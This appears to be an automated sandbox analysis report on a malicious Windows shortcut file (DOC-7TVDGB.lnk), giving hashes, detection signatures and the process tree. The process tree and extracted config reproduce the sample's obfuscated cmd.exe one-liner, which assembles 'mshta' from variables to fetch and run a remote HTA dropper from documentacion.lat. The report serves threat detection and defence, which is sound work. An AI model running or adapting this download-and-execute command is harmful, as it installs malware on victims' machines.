Analysis
- max time kernel
58s - max time network
62s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/08/2026, 13:01
Static task
static1
Behavioral task
behavioral1
Sample
DOC-7TVDGB.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-7TVDGB.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-7TVDGB.lnk
- Size 1KB
- Sample260821-p89kcseq8t
- SHA256 8e615b89e576d266d281aba71930df4a3d6dd724f06c1252fa4f8c0f0b202df8
- MD5 32c39f845d88d0d19628157cbbdd0ee4
- SHA1 5336695d8b7190a488379584194657ba672b9270
- SHA512 50a30e3858ef28fbfd160af6830d23b53c85cdf282543376878e3c8b9fc0d5109cec697df960a23f65c8a4afbccd726c720a7664645ce2495f3d4a677342e289
- TLSH T1BF317B103EFD0664F3F39F7684BB571489BB78568D11C61E0240854D5432A05E67BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4364 cmd.exe 5656 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4364 wrote to memory of 5656 4364 cmd.exe 90 PID 5656 wrote to memory of 3076 5656 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7TVDGB.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4364 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set Wt=msh&&set hfVy=ta&&start "" !Wt!!hfVy! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5656 -
C:\Windows\System32\mshta.exemshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:3076
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